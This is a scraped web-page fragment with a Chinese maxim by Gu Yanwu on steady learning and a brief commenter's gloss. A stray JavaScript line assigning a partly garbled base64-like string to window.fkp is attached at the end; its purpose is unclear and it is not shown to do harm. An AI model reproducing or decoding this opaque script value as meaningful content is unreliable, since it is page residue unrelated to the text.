人之为学，不日进则日退。
——顾炎武
花无数评：逆水行舟，不进则退啊！
window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";